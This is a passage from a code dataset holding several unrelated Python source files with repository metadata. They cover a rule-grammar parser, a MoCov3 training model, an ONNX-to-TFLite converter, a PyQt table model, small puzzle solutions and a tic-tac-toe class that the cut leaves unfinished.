given list contains only instances of cls.\n    Raise TypeError if an element is not of the given type.\n    If the list is None, an empty list is returned.\n\n    :param lst: list of items or None\n    :param cls: the class of which the elements should be instances\n    :param msg: error message used in exception\n    :returns: the passed list\n    \"\"\"\n    if lst is None:\n        return []\n    for o in lst:\n        if not isinstance(o, cls):\n            if not msg:\n                msg = ('Elements of the list must be instances of {cls}'\n                       .format(cls=str(cls)))\n            raise TypeError(msg)\n    if not isinstance(lst, list):\n        return list(lst)\n    return lst\n\n\ndef print_proofs(proofs):\n    for c, ps in proofs.items():\n        print(str(c) + ':')\n        for p in ps:\n            print('  ' + str(p))\n\n\ndef mk_rule(rule):\n    \"\"\" Take a string and create an a Strict or a Defeasible rule. \"\"\"\n    if isinstance(rule, str):\n        return _rule_grammar.parseString(rule.strip())[0]\n    elif isinstance(rule, StrictRule):\n        return rule\n    elif isinstance(rule, DefeasibleRule):\n        return rule\n    elif isinstance(rule, Ordering):\n        return rule\n    else:\n        msg = 'mk_rule expects a string but received \"%s\"'\n        raise TypeError(msg % repr(rule))\n\n\n# ########################## parsing related functions ######################## #\n\n_literal = Group(Optional(Word('-')) + Word(alphas, alphanums + '_'))\n_literal.setParseAction(Literal.from_parsed)\n\n_literals = delimitedList(_literal)\n_antecedent = _literals\n_vulnerabilities = _literals\n_consequent = _literal\n_rule_name = Word(alphas + '_', alphanums + '_')\n_rule_names = delimitedList(_rule_name)\n\n_strict_rule = (Optional(_rule_name.setResultsName(\"name\") + ':') +\n                Optional(Group(_antecedent).setResultsName(\"antecedent\")) +\n                \"-->\" + Group(_consequent).setResultsName(\"consequent\"))\n\n_strict_rule.setParseAction(StrictRule.from_parsed)\n\n_defeasible_rule = (Optional(_rule_name.setResultsName(\"name\") + ':') +\n                    Optional(Group(_antecedent).setResultsName(\"antecedent\")) + '=' +\n                    Optional('(' + Group(_vulnerabilities).setResultsName(\"vulnerabilities\") + ')') +\n                    '=>' + Group(_consequent).setResultsName(\"consequent\"))\n\n_defeasible_rule.setParseAction(DefeasibleRule.from_parsed)\n\n\ndef _mk_l_ordering(_, __, tokens):\n    return Ordering.from_parsed(tokens, '<')\n\n\ndef _mk_r_ordering(_, __, tokens):\n    return Ordering.from_parsed(tokens, '>')\n\n\n_lt, _gt = map(Suppress, '<>')\n_l_orderings = Group(_rule_names) + OneOrMore(_lt + Group(_rule_names))\n_l_orderings.setParseAction(_mk_l_ordering)\n_r_orderings = Group(_rule_names) + OneOrMore(_gt + Group(_rule_names))\n_r_orderings.setParseAction(_mk_r_ordering)\n\n_orderings = _l_orderings | _r_orderings\n\n_rule_grammar = _strict_rule | _defeasible_rule | _orderings | _literal\n\n# ############################################################################## #\n","repo_name":"roman-kutlak/argulib","sub_path":"argulib/kb.py","file_name":"kb.py","file_ext":"py","file_size_in_byte":38889,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"24914645846","text":"from typing import Any, Dict, Iterable, Optional\n\nimport torch\nfrom omegaconf import DictConfig\nfrom torch import Tensor\n\nfrom eztorch.losses.mocov3_loss import compute_mocov3_loss\nfrom eztorch.models.siamese.momentum_base import MomentumSiameseBaseModel\nfrom eztorch.modules.gather import concat_all_gather_without_backprop\n\n\nclass MoCov3Model(MomentumSiameseBaseModel):\n    \"\"\"MoCov3 that can be configured as in the paper.\n\n    References:\n        - MoCov3: https://arxiv.org/abs/2104.02057\n\n    Args:\n        trunk: Config to build a trunk.\n        optimizer: Config to build optimizers and schedulers.\n        projector: Config to build a project.\n        predictor: Config to build a predictor.\n        train_transform: Config to perform transformation on train input.\n        val_transform: Config to perform transformation on val input.\n        test_transform: Config to perform transformation on test input.\n        normalize_outputs: If ``True``, normalize outputs.\n        num_global_crops: Number of global crops which are the first elements of each batch.\n        num_local_crops: Number of local crops which are the last elements of each batch.\n        num_splits: Number of splits to apply to each crops.\n        num_splits_per_combination: Number of splits used for combinations of features of each split.\n        mutual_pass: If ``True``, perform one pass per branch per crop resolution.\n        initial_momentum: Initial value for the momentum update.\n        scheduler_momentum: Rule to update the momentum value.\n        temp: Temperature parameter to scale the online similarities.\n    \"\"\"\n\n    def __init__(\n        self,\n        trunk: DictConfig,\n        optimizer: DictConfig,\n        projector: Optional[DictConfig] = None,\n        predictor: Optional[DictConfig] = None,\n        train_transform: Optional[DictConfig] = None,\n        val_transform: Optional[DictConfig] = None,\n        test_transform: Optional[DictConfig] = None,\n        normalize_outputs: bool = True,\n        num_global_crops: int = 2,\n        num_local_crops: int = 0,\n        num_splits: int = 0,\n        num_splits_per_combination: int = 2,\n        mutual_pass: bool = False,\n        initial_momentum: int = 0.99,\n        scheduler_momentum: str = \"cosine\",\n        temp: float = 1.0,\n    ) -> None:\n        super().__init__(\n            trunk=trunk,\n            optimizer=optimizer,\n            projector=projector,\n            predictor=predictor,\n            train_transform=train_transform,\n            val_transform=val_transform,\n            test_transform=test_transform,\n            normalize_outputs=normalize_outputs,\n            num_global_crops=num_global_crops,\n            num_local_crops=num_local_crops,\n            num_splits=num_splits,\n            num_splits_per_combination=num_splits_per_combination,\n            mutual_pass=mutual_pass,\n            initial_momentum=initial_momentum,\n            scheduler_momentum=scheduler_momentum,\n        )\n\n        self.save_hyperparameters()\n\n        assert not self.use_split, \"Splits not supported for MoCov3\"\n\n        self.temp = temp\n\n    def compute_loss(self, q: Tensor, k: Tensor) -> Tensor:\n        \"\"\"Compute the MoCo loss.\n\n        Args:\n            q: The representations of the queries.\n            k: The representations of the keys.\n\n        Returns:\n            The loss.\n        \"\"\"\n\n        k_global = concat_all_gather_without_backprop(k)\n\n        return compute_mocov3_loss(\n            q, k_global, self.device, self.temp, self.global_rank\n        )\n\n    def on_train_epoch_start(self) -> None:\n        super().on_train_epoch_start()\n\n        self.log(\"pretrain/temp\", self.temp, on_step=False, on_epoch=True)\n\n    def training_step(self, batch: Iterable[Any], batch_idx: int) -> Dict[str, Tensor]:\n        X = batch[\"input\"]\n        X = [X] if isinstance(X, Tensor) else X\n\n        assert len(X) == self.num_crops\n\n        if self.train_transform is not None:\n            with torch.no_grad():\n                with torch.cuda.amp.autocast(enabled=False):\n                    X = self.transform(X)\n\n        outs_online = self.multi_crop_shared_step(X)\n        outs_momentum = self.multi_crop_momentum_shared_step(X[: self.num_global_crops])\n\n        tot_loss = 0\n        for i in range(self.num_global_crops):\n            for j in range(self.num_crops):\n                if i == j:\n                    continue\n                loss = self.compute_loss(outs_online[j][\"q\"], outs_momentum[i][\"z\"])\n                tot_loss += loss\n\n        outputs = {\"loss\": tot_loss}\n        # Only keep outputs from first computation to avoid unnecessary time and memory cost.\n        outputs.update(outs_online[0])\n        for name_output, output in outputs.items():\n            if name_output != \"loss\":\n                outputs[name_output] = output.detach()\n\n        self.log(\n            \"pretrain/loss\", outputs[\"loss\"], prog_bar=True, on_step=True, on_epoch=True\n        )\n\n        return outputs\n","repo_name":"juliendenize/eztorch","sub_path":"eztorch/models/siamese/mocov3.py","file_name":"mocov3.py","file_ext":"py","file_size_in_byte":4967,"program_lang":"python","lang":"en","doc_type":"code","stars":25,"dataset":"github-code","pt":"18"}
{"seq_id":"28499832045","text":"import os\nimport sys\n\nfrom util.excel.resolver import resolve_excel, ExcelResolveInfo, ExcelTable, unwrap_cell_obj\nfrom util.excel.creator import ExcelFileInfo, SheetInfo, create_excel\n\nglass_wall_head = {\n    \"Project\": lambda x: x,\n    \"Task\": lambda x: x[8:],\n    \"Status\": lambda x: f\" ({x})\"\n}\n\n\ndef generate_glass_wall(table: ExcelTable):\n    xf_list = table.xf_list\n    font_list = table.font_list\n    head_used = {}\n    for i, head in enumerate(list(map(unwrap_cell_obj, table.head))):\n        if isinstance(head, str) and glass_wall_head.get(head):\n            head_used[i] = head\n\n    glass_wall_result = []\n    for row in table:\n        row_text = {}\n        for i, cell_obj in enumerate(row):\n            cell, xf = cell_obj\n            font_index = xf_list[xf].font_index\n\n            header = head_used.get(i)\n            if not (font_list[font_index].weight == 700 and header) or not cell.value:\n                continue\n            row_text[header] = cell.value\n        if not row_text.__len__() or row_text.__len__() != 3:\n            continue\n        glass_wall_result.append(row_text)\n    return glass_wall_result\n\n\ndef generate_glass_wall_summary(table: ExcelTable):\n    home_address = os.getenv(\"HOME\")\n    os.chdir(home_address)\n    if not (os.path.exists(\"generate_xlxs\") and os.path.isdir(\"generate_xlxs\")):\n        os.mkdir(\"generate_xlxs\")\n    data = generate_glass_wall(table)\n    print(data)\n","repo_name":"xiangshuyu/PythonAioWeb","sub_path":"src/service/glasswall/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":1420,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"17090673169","text":"import os\nimport re\nimport sys\n\n\ndef print_tree(top, prefix=\"\"):\n    \"\"\"Print paths for file tree recursively.\"\"\"\n    print(prefix + os.path.basename(top))\n    prefix = re.sub(r\"[-`]\", \" \", prefix)\n    try:\n        children = os.listdir(top)\n    except OSError:\n        return  # This is a file, not a directory\n    if not children:\n        return  # Empty directory\n    children = sorted(os.path.join(top, name) for name in children)\n    for name in children[:-1]:\n        print_tree(name, (prefix + \"|-- \"))\n    print_tree(children[-1], (prefix + \"`-- \"))\n\n\nif __name__ == \"__main__\":\n    directory = sys.argv[1] if len(sys.argv) > 1 else os.getcwd()\n    print_tree(directory)\n","repo_name":"JeanBilheux/python_101","sub_path":"exercises/Modern python tips and tricks/tree.py","file_name":"tree.py","file_ext":"py","file_size_in_byte":679,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"18"}
{"seq_id":"7113127095","text":"\ndef dfs(arr, x, y, s, idx):\n    if idx == len(s):\n        return 1\n    count = 0\n    if x - 1 >= 0 and arr[x - 1][y] == s[idx]:\n        count += dfs(arr, x - 1, y, s, idx + 1)\n    if x + 1 < len(arr) and arr[x + 1][y] == s[idx]:\n        count += dfs(arr, x + 1, y, s, idx + 1)\n    if y - 1 >= 0 and arr[x][y - 1] == s[idx]:\n        count += dfs(arr, x, y - 1, s, idx + 1)\n    if y + 1 < len(arr[0]) and arr[x][y + 1] == s[idx]:\n        count += dfs(arr, x, y + 1, s, idx + 1)\n    return count\n\nC = 'CHINA'\ndef dfs1(arr, x, y, c):\n    count = 0\n    if not c:\n        return 1\n    n = len(arr)\n    move = [[-1, 0], [1, 0], [0,1], [0,-1]]\n    for i, j in move:\n        tx, ty = x+i, y+j\n        if 0<=tx<n and 0<= ty < n and arr[tx][ty] == c[0]:\n            count += dfs1(arr, tx, ty, c[1:])\n    return count\n\n\nif __name__ == '__main__':\n    n = int(input())\n    arr = []\n    for i in range(n):\n        a = input()\n        tmp = []\n        for c in a:\n            tmp.append(c)\n        arr.append(tmp)\n\n    count = 0\n    for i in range(len(arr)):\n        for j in range(len(arr[0])):\n            if arr[i][j] == 'C':\n                count += dfs1(arr, i, j, C[1:])\n    print(count)\n\n# 9\n# AAAAAAAAA\n# AAAANAAAA\n# AAANINAAA\n# AANIHINAA\n# ANIHCHINA\n# AANIHINAA\n# AAANINAAA\n# AAAANAAAA\n# AAAAAAAAA\n# 7\n# NNNNNNN\n# NNNINNN\n# NNIHINN\n# NIHCHIN\n# NNIHINN\n# NNNINNN\n# NNNNNNN\n","repo_name":"longkun-uestc/examination","sub_path":"滴滴/第二题.py","file_name":"第二题.py","file_ext":"py","file_size_in_byte":1367,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"}
{"seq_id":"29185435028","text":"#------------------------------------------------------------------------------\n#  Aniket Pratap\n#  1825275\n#  CSE 30-02 Spring 2021\n#  pa4\n#  ContinuedFractions.py\n#------------------------------------------------------------------------------\nfrom rational import *\nfrom decimal import *\nimport sys\n\ndef CF2R(L):\n    if len(L) == 1:\n        return Rational(L[0])\n    elif len(L) > 1:\n        return Rational(L[0]) + (Rational(1) / CF2R(L[1:]))\n      \ndef usage():\n    sys.stderr.write('Usage: $ python3 ContinuedFractions.py <input file> <output file>')\n\ndef main():\n    if len(sys.argv) != 3:\n        usage()\n    else:\n        try:\n            getcontext().prec = 100\n            in_file = open(sys.argv[1])\n            outfile = open(sys.argv[2], 'w')\n            lines = in_file.readlines()\n            print('', file=outfile)\n            for S in lines:\n                L = S.split()\n                R = list(map(int, L))\n                A = CF2R(R)\n                a = Decimal(A._numer) / Decimal(A._denom)\n                print(A, file=outfile)\n                print(a, file=outfile)\n                print('', file=outfile)\n\n        except FileNotFoundError as e:\n            print(e, file=sys.stderr)\n            usage()\n\nif __name__ == '__main__':\n    main()\n","repo_name":"xXViridianXx/CSE30","sub_path":"ContinuedFractions.py","file_name":"ContinuedFractions.py","file_ext":"py","file_size_in_byte":1269,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"19524079455","text":"import fileinput\nimport numpy as np\n\ngrid = np.zeros((1000,1000), 'int32')\n\nfor line in fileinput.input():\n    data = line.strip()\n    _l = data.split()\n    \n    if _l[0] == 'turn':\n        x,y = _l[2].split(',')\n        _x,_y = _l[4].split(',')\n        x,y,_x,_y = int(x), int(y), int(_x), int(_y)\n\n        if _l[1] == 'on':\n            grid[x:_x+1, y:_y+1] += 1\n        else:\n            assert _l[1] == 'off'\n            grid[x:_x+1,y:_y+1] -= 1\n            grid[grid<0] = 0\n    else:\n        assert _l[0] == 'toggle'\n        x,y = _l[1].split(',')\n        _x,_y = _l[3].split(',')\n        x,y,_x,_y = int(x), int(y), int(_x), int(_y)\n        grid[x:_x+1, y:_y+1] += 2\n\nprint(np.sum(grid))\n","repo_name":"arevalolance/advent-of-code","sub_path":"python/2015/day6/solve.py","file_name":"solve.py","file_ext":"py","file_size_in_byte":693,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"38873327539","text":"import json\nfrom os import remove\nfrom pathlib import Path\n\nfrom polystar.models.box import Box\nfrom polystar.models.image import load_image\nfrom polystar.utils.path import copy_file, move_file\nfrom research.common.datasets.roco.roco_annotation import ROCOAnnotation\nfrom research.common.datasets.roco.roco_dataset_builder import ROCODatasetBuilder\nfrom research.common.datasets.roco.zoo.roco_dataset_zoo import ROCODatasetsZoo\nfrom research.constants import TWITCH_DSET_DIR, TWITCH_ROBOTS_VIEWS_DIR\nfrom research.dataset.twitch.mask_detector import has_bonus_icon, is_aerial_view\n\nAERIAL_DIR = TWITCH_DSET_DIR / \"v2\" / \"aerial-views\"\nRUNES_DIR = TWITCH_DSET_DIR / \"v2\" / \"runes\"\n\n\ndef match_on_dataset(builder: ROCODatasetBuilder):\n    twitch_id = builder.main_dir.name\n    hd_images_directory = TWITCH_ROBOTS_VIEWS_DIR / twitch_id\n\n    dataset_v2_directory = TWITCH_DSET_DIR / \"v2\" / twitch_id\n\n    _move_images_with_720p_annotations(builder, dataset_v2_directory, hd_images_directory, twitch_id)\n    _copy_changes_locks(builder, dataset_v2_directory)\n    _move_aerials_views(hd_images_directory)\n\n\ndef _move_images_with_720p_annotations(\n    builder: ROCODatasetBuilder, dataset_v2_directory: Path, hd_images_directory: Path, twitch_id: str\n):\n    dataset = builder.build_lazy()\n    missing_images = []\n    for image_file, annotation, _ in dataset:\n        hd_image_file = hd_images_directory / image_file.name\n        if hd_image_file.exists():\n            hd_image = load_image(hd_image_file)\n            if has_bonus_icon(hd_image):\n                remove(hd_image_file)\n                continue\n            elif is_aerial_view(hd_image):\n                directory = AERIAL_DIR\n            elif annotation.has_rune:\n                directory = RUNES_DIR\n            else:\n                directory = dataset_v2_directory\n            move_file(hd_image_file, directory / \"image\")\n            _scale_annotation(annotation, height=1080, width=1920)\n            annotation.save_in_directory(directory / \"image_annotation\", image_file.stem)\n        else:\n            missing_images.append(str(image_file))\n    print(f\"{len(missing_images)} missing images in {twitch_id}\")\n    (hd_images_directory / \"missing.json\").write_text(json.dumps(missing_images))\n\n\ndef _scale_annotation(annotation: ROCOAnnotation, height: int, width: int):\n    vertical_ratio, horizontal_ratio = height / annotation.h, width / annotation.w\n\n    for obj in annotation.objects:\n        obj.box = Box.from_positions(\n            x1=int(obj.box.x1 * horizontal_ratio),\n            y1=int(obj.box.y1 * vertical_ratio),\n            x2=int(obj.box.x2 * horizontal_ratio),\n            y2=int(obj.box.y2 * vertical_ratio),\n        )\n\n    annotation.w, annotation.h = width, height\n\n\ndef _copy_changes_locks(builder, dataset_v2_directory):\n    for task in (\"colors\", \"digits\"):\n        changes_lock = builder.main_dir / f\"{task}/.changes\"\n        if changes_lock.exists():\n            copy_file(changes_lock, dataset_v2_directory / task)\n\n\ndef _move_aerials_views(hd_images_directory):\n    for hd_image_file in hd_images_directory.glob(\"*.jpg\"):\n        image = load_image(hd_image_file)\n        if has_bonus_icon(image):\n            remove(hd_image_file)\n        elif is_aerial_view(image):\n            move_file(hd_image_file, AERIAL_DIR / \"unannotated_image\")\n\n\nif __name__ == \"__main__\":\n    for _builder in ROCODatasetsZoo.TWITCH:\n        match_on_dataset(_builder)\n    for _new_twitch_id in (\"470149066\", \"470152932\"):\n        _move_aerials_views(TWITCH_ROBOTS_VIEWS_DIR / _new_twitch_id)\n","repo_name":"PolySTAR-mtl/cv","sub_path":"src/research/dataset/scripts/match_hd_with_720p.py","file_name":"match_hd_with_720p.py","file_ext":"py","file_size_in_byte":3561,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"2734630067","text":"s=input()\nk=0\nout=[0]\nwhile(k<len(s)):\n    if(out[len(out)-1]==s[k]):\n        out.pop()\n    else:\n        out.append(s[k])\n    k+=1\nu=1\nif(len(out)==1):\n    print(\"Empty String\")\nelse:\n    while(u<len(out)):\n        print(out[u],end=\"\")\n        u+=1\n    \n    \n","repo_name":"ksshhv/hackerearth","sub_path":"super reduced string.py","file_name":"super reduced string.py","file_ext":"py","file_size_in_byte":260,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"70725121319","text":"from typing import Optional\n\nimport os\nos.environ['TF_CPP_MIN_LOG_LEVEL'] = '3'\n\nimport sys\nimport shutil\nimport logging\n\nimport cv2\nimport numpy as np\nimport onnx\nfrom onnx_tf.backend import prepare\nimport torch\nimport tensorflow as tf\n\nimport numpy as np\nimport random\n\ndef representative_dataset():\n  for _ in range(100):\n  #data = random.randint(0, 1)\n  #yield [data]\n    data = np.random.rand(32)*2\n    yield [data.astype(np.float32)]\n    \nclass Torch2TFLiteConverter:\n    def __init__(\n            self,\n            onxx_model_path: str,\n            tflite_model_save_path: str,\n            sample_file_path: Optional[str] = None,\n            target_shape: tuple = (224, 224, 3),\n            seed: int = 10,\n            normalize: bool = True\n    ):\n        self.onxx_model_path = onxx_model_path\n        self.tflite_model_path = tflite_model_save_path\n        self.sample_file_path = sample_file_path\n        self.target_shape = target_shape\n        self.seed = seed\n        self.normalize = normalize\n\n        self.tmpdir = '~/tmp/'\n        self.__check_tmpdir()\n        self.tf_model_path = os.path.join(self.tmpdir, 'tf_model')\n        self.sample_data = self.load_sample_input(sample_file_path, target_shape, seed, normalize)\n\n    def convert(self):\n        self.onnx2tf()\n        self.tf2tflite()\n\n    def __check_tmpdir(self):\n        try:\n            if os.path.exists(self.tmpdir) and os.path.isdir(self.tmpdir):\n                shutil.rmtree(self.tmpdir)\n                logging.info(f'Old temp directory removed')\n            os.makedirs(self.tmpdir, exist_ok=True)\n            logging.info(f'Temp directory created at {self.tmpdir}')\n        except Exception:\n            logging.error('Can not create temporary directory, exiting!')\n            sys.exit(-1)\n\n    def load_tflite(self):\n\n        interpret = tf.lite.Interpreter(self.tflite_model_path)\n        interpret.allocate_tensors()\n        logging.info(f'TFLite interpreter successfully loaded from, {self.tflite_model_path}')\n        return interpret\n\n    @staticmethod\n    def load_sample_input(\n            file_path: Optional[str] = None,\n            target_shape: tuple = (224, 224, 3),\n            seed: int = 10,\n            normalize: bool = True\n    ):\n        if file_path is not None:\n            if (len(target_shape) == 3 and target_shape[-1] == 1) or len(target_shape) == 2:\n                imread_flags = cv2.IMREAD_GRAYSCALE\n            elif len(target_shape) == 3 and target_shape[-1] == 3:\n                imread_flags = cv2.IMREAD_COLOR\n            else:\n                imread_flags = cv2.IMREAD_ANYCOLOR + cv2.IMREAD_ANYDEPTH\n            try:\n                img = cv2.resize(\n                    src=cv2.imread(file_path, imread_flags),\n                    dsize=target_shape[:2],\n                    interpolation=cv2.INTER_LINEAR\n                )\n                if len(img.shape) == 3:\n                    img = cv2.cvtColor(img, cv2.COLOR_BGR2RGB)\n\n                if normalize:\n                    img = img * 1. / 255\n                img = img.astype(np.float32)\n\n                sample_data_np = np.transpose(img, (2, 0, 1))[np.newaxis, :, :, :]\n                sample_data_torch = torch.from_numpy(sample_data_np)\n                logging.info(f'Sample input successfully loaded from, {file_path}')\n\n            except Exception:\n                logging.error(f'Can not load sample input from, {file_path}')\n                sys.exit(-1)\n\n        else:\n            logging.info(f'Sample input file path not specified, random data will be generated')\n            np.random.seed(seed)\n            data = np.random.random(target_shape).astype(np.float32)\n            sample_data_np = np.transpose(data, (2, 0, 1))[np.newaxis, :, :, :]\n            sample_data_torch = torch.from_numpy(sample_data_np)\n            logging.info(f'Sample input randomly generated')\n\n        return {'sample_data_np': sample_data_np, 'sample_data_torch': sample_data_torch}\n\n\n    def onnx2tf(self) -> None:\n        onnx_model = onnx.load(self.onxx_model_path)\n        onnx.checker.check_model(onnx_model)\n        tf_rep = prepare(onnx_model)\n        tf_rep.export_graph(self.tf_model_path)\n\n    def tf2tflite(self) -> None:\n        converter = tf.lite.TFLiteConverter.from_saved_model(self.tf_model_path)\n        converter.optimizations = [tf.lite.Optimize.DEFAULT]\n        converter.representative_dataset = representative_dataset\n        converter.target_spec.supported_ops = [tf.lite.OpsSet.TFLITE_BUILTINS_INT8]\n        converter.target_spec.supported_types = [tf.int8]\n        converter.inference_input_type = tf.int8 # or tf.uint8 \n        converter.inference_output_type = tf.int8 # or tf.uint8\n\n        tflite_model = converter.convert()\n        with open(self.tflite_model_path, 'wb') as f:\n            f.write(tflite_model)\n\n    def inference_torch(self) -> np.ndarray:\n        y_pred = self.torch_model(self.sample_data['sample_data_torch'])\n        return y_pred.detach().cpu().numpy()\n\n    def inference_tflite(self, tflite_model) -> np.ndarray:\n        input_details = tflite_model.get_input_details()\n        output_details = tflite_model.get_output_details()\n        tflite_model.set_tensor(input_details[0]['index'], self.sample_data['sample_data_np'])\n        tflite_model.invoke()\n        y_pred = tflite_model.get_tensor(output_details[0]['index'])\n        return y_pred\n\n    @staticmethod\n    def calc_error(result_torch, result_tflite):\n        mse = ((result_torch - result_tflite) ** 2).mean(axis=None)\n        mae = np.abs(result_torch - result_tflite).mean(axis=None)\n        logging.info(f'MSE (Mean-Square-Error): {mse}\\tMAE (Mean-Absolute-Error): {mae}')\n\n\nif __name__ == '__main__':\n    import argparse\n\n    parser = argparse.ArgumentParser()\n    parser.add_argument('--onxx-path', type=str, required=True)\n    parser.add_argument('--tflite-path', type=str, required=True)\n    parser.add_argument('--target-shape', type=tuple, nargs=3, default=(224, 224, 3))\n    parser.add_argument('--sample-file', type=str)\n    parser.add_argument('--seed', type=int, default=10)\n    args = parser.parse_args()\n\n    conv = Torch2TFLiteConverter(\n        args.onxx_path,\n        args.tflite_path,\n        args.sample_file,\n        args.target_shape,\n        args.seed\n    )\n    conv.convert()\n    sys.exit(0)\n","repo_name":"dakk/whisper_to_tflite_edgetpu_attempt","sub_path":"onxx2tflite.py","file_name":"onxx2tflite.py","file_ext":"py","file_size_in_byte":6303,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"8636468621","text":"import typing\n\nimport PyQt5.QtWidgets\nimport PyQt5.QtCore\nfrom PyQt5 import QtWidgets\n\nfrom Models.main_model import MainWindowModel\n\n\nclass TableModel(PyQt5.QtCore.QAbstractTableModel):\n\n    def __init__(self, parent_model, rows=[], headers=[], edit_enabled=True):\n        super(TableModel, self).__init__()\n        self.rows = rows\n        self.headers = headers\n        self.edit_enabled = edit_enabled\n        self.parent_model = parent_model\n        self.header_orientation = PyQt5.QtCore.Qt.Horizontal\n\n    def setHeaderData(self, section: int, orientation: PyQt5.QtCore.Qt.Orientation, value: typing.Any,\n                      role: int = ...) -> bool:\n        self.headers[section] = value\n        return True\n\n    def setHeaders (self,new_headers):\n        self.headers = []\n        self.headers = new_headers\n        self.headerDataChanged.emit(self.header_orientation,0,len(self.headers))\n    def rowCount(self, parent: PyQt5.QtCore.QModelIndex = ...) -> int:\n        return len(self.rows)\n\n    def columnCount(self, parent: PyQt5.QtCore.QModelIndex = ...) -> int:\n        if self.header_orientation == PyQt5.QtCore.Qt.Horizontal:\n            return len(self.headers)\n        else:\n            return 1\n\n    def data(self, index, role=PyQt5.QtCore.Qt.DisplayRole):\n        if not index.isValid():\n            return None\n        if not 0 <= index.row() < len(self.rows):\n            return None\n        if (role == PyQt5.QtCore.Qt.DisplayRole):\n            for column_name in self.headers:\n                if index.column() == self.headers.index(column_name):\n\n                    if self.header_orientation == PyQt5.QtCore.Qt.Horizontal:\n                        if 'data' in column_name or 'Data' in column_name:\n                            if self.rows[index.row()][index.column()] is None or self.rows[index.row()][index.column()] =='' :\n                                return ''\n                            return self.rows[index.row()][index.column()].strftime('%Y-%m-%d')\n                        return self.rows[index.row()][index.column()]\n                    else:\n                        return self.rows[index.row()]\n        elif role == PyQt5.QtCore.Qt.EditRole:\n            if self.header_orientation == PyQt5.QtCore.Qt.Horizontal:\n                return self.rows[index.row()][index.column()]\n            else:\n                return self.rows[index.row()]\n\n    def headerData(self, section: int, orientation: PyQt5.QtCore.Qt.Orientation = PyQt5.QtCore.Qt.Horizontal,\n                   role=PyQt5.QtCore.Qt.DisplayRole) -> typing.Any:\n        if (role == PyQt5.QtCore.Qt.DisplayRole and orientation == self.header_orientation):\n            for column_name in self.headers:\n                if section == self.headers.index(column_name):\n                    return PyQt5.QtCore.QVariant(column_name)\n\n    def deleteData(self, row_index=-1):\n        if row_index < 0 or row_index > self.rowCount():\n            return -1\n        else:\n            self.rows.remove(self.rows[row_index])\n\n    def setData(self, index: PyQt5.QtCore.QModelIndex, value: typing.Any, role=PyQt5.QtCore.Qt.EditRole) -> bool:\n        if role == PyQt5.QtCore.Qt.EditRole and self.edit_enabled == True:\n\n            if self.header_orientation == PyQt5.QtCore.Qt.Vertical :\n                updated_row = value\n                self.rows[index.row()] = updated_row\n                #self.dataChanged.emit(index, index)\n            else:\n\n                updated_row = list(self.rows[index.row()])\n                updated_row[index.column()] = value\n                if self.parent_model.check_data_types(self.parent_model.current_table, updated_row):\n                    self.rows[index.row()] = tuple(updated_row)\n                    self.parent_model.edit_value(self.headers[index.column()], self.rows[index.row()][0], value)\n                    self.dataChanged.emit(index, index)\n                else :\n                    message_box = QtWidgets.QMessageBox()\n                    message_box.setWindowTitle('Błąd')\n                    message_box.setText(\"Wprowadzono błędne dane.\")\n                    message_box.exec()\n                    return False\n            return True\n        else:\n            return False\n\n    def flags(self, index):\n        \"\"\" Zwraca właściwości kolumn tabeli \"\"\"\n        flags = super(TableModel, self).flags(index)\n        flags |= PyQt5.QtCore.Qt.ItemIsEditable\n        return flags\n","repo_name":"PROZ-293472/Oceanarium","sub_path":"Models/table_model.py","file_name":"table_model.py","file_ext":"py","file_size_in_byte":4421,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"36356248730","text":"import os\n\nclass Velha():\n\t\n\tdef __init__(self):\n\t\tself.turno = 1                                         #serve para identificar se quem vai jogar vai ser o player1 ou o player2\n\t\tself.t1 = \"1\"\n\t\tself.t2 = \"2\"\n\t\tself.t3 = \"3\"\n\t\tself.t4 = \"4\"\n\t\tself.t5 = \"5\"\n\t\tself.t6 = \"6\"\n\t\tself.t7 = \"7\"\n\t\tself.t8 = \"8\"\n\t\tself.t9 = \"9\"\n\t\tself.disponiveis = [self.t1,self.t2,self.t3,           #lista de quadrados disponiveis para serem jogados\n                            self.t4,self.t5,self.t6,\n\t\t\t\t            self.t7,self.t8,self.t9]\n\t\tself.sets_p1 = [[1,2,3],[4,5,6],[7,8,9],               #lista das combinacoes possiveis para o player1 ganhar\n\t\t\t\t\t    [1,4,7],[2,5,8],[3,6,9],\n\t\t\t\t\t    [1,5,9],[3,5,7]]\n\t\tself.sets_p2 = [[1,2,3],[4,5,6],[7,8,9],               #lista das combinacoes possiveis para o player2 ganhar\n                        [1,4,7],[2,5,8],[3,6,9],\n                        [1,5,9],[3,5,7]]\n\n\tdef show_turno_board(self):                                #checa o turno e retorna uma string correspondente\n\t\tif self.turno == 1:\n\t\t\treturn \"Turno do Player 1\"\n\t\telse:\n\t\t\treturn \"Turno do Player 2\"\n\t\n\tdef board(self):                                           #imprime tabuleiro\n\t\tprint(\"\\n \"+self.t1+\" | \"+self.t2+\" | \"+self.t3)\n\t\tprint(\"-----------\")\n\t\tprint(\" \"+self.t4+\" | \"+self.t5+\" | \"+self.t6)\n\t\tprint(\"-----------\")\n\t\tprint(\" \"+self.t7+\" | \"+self.t8+\" | \"+self.t9)\n\t\tprint(\"\\nP1 = O\")\n\t\tprint(\"P2 = X\")\n\t\tprint(\"\\n\"+self.show_turno_board())\n\t\t\n\tdef board_string(self):\n\t\treturn \"\\n \"+self.t1+\" | \"+self.t2+\" | \"+self.t3+\"\\n-----------\"+\"\\n \"+self.t4+\" | \"+self.t5+\" | \"+self.t6+\"\\n-----------\"+\"\\n \"+self.t7+\" | \"+self.t8+\" | \"+self.t9+\"\\n\\nP1 = O\"+\"\\nP2 = X\"+\"\\n\\n\"+self.show_turno_board()\n\n\tdef refresh(self):                                